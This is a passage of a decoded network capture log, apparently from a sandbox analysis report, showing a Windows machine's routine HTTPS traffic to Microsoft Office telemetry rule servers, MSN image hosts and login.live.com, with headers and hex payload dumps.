R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	62137	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-r1d97b99577d6qrbhC1TEBux5s0000000870000000003v3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	62140	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:32 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 05:16:37 GMT X-Source-Length: 62552 X-Datacenter: eastus X-ActivityId: b6de683a-38cf-4a4e-bd01-aa1a6ca52471 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=410203 Expires: Sun, 24 Nov 2024 17:16:15 GMT Date: Tue, 19 Nov 2024 23:19:32 GMT Connection: close
2024-11-19 23:19:32 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	62138	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-1777c6cb754lv4cqhC1TEB13us00000008p000000000pc7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	62139	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-1777c6cb754j47wfhC1TEB5wrw00000004h000000000kayb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	62141	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-185f5d8b95cqnkdjhC1NYCm8w800000009a00000000066zk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	62142	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-19 23:19:32 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 3ee24419-3317-45ce-b10a-4a96784b4613 PPServer: PPV: 30 H: SN1PEPF0002F13F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:31 GMT Connection: close Content-Length: 1918
2024-11-19 23:19:32 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	62146	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:32 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=158137 Expires: Thu, 21 Nov 2024 19:15:09 GMT Date: Tue, 19 Nov 2024 23:19:32 GMT Connection: close
2024-11-19 23:19:32 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	62144	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-185f5d8b95cf7qddhC1NYC66an00000009h0000000004kz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	62145	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-1777c6cb754gvvgfhC1TEBz4rg00000008ug00000000apa0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	62147	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-185f5d8b95c4bhwphC1NYCs8gw00000009h000000000cnf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	62148	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-185f5d8b95c4hl5whC1NYCeex000000009cg000000004548 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
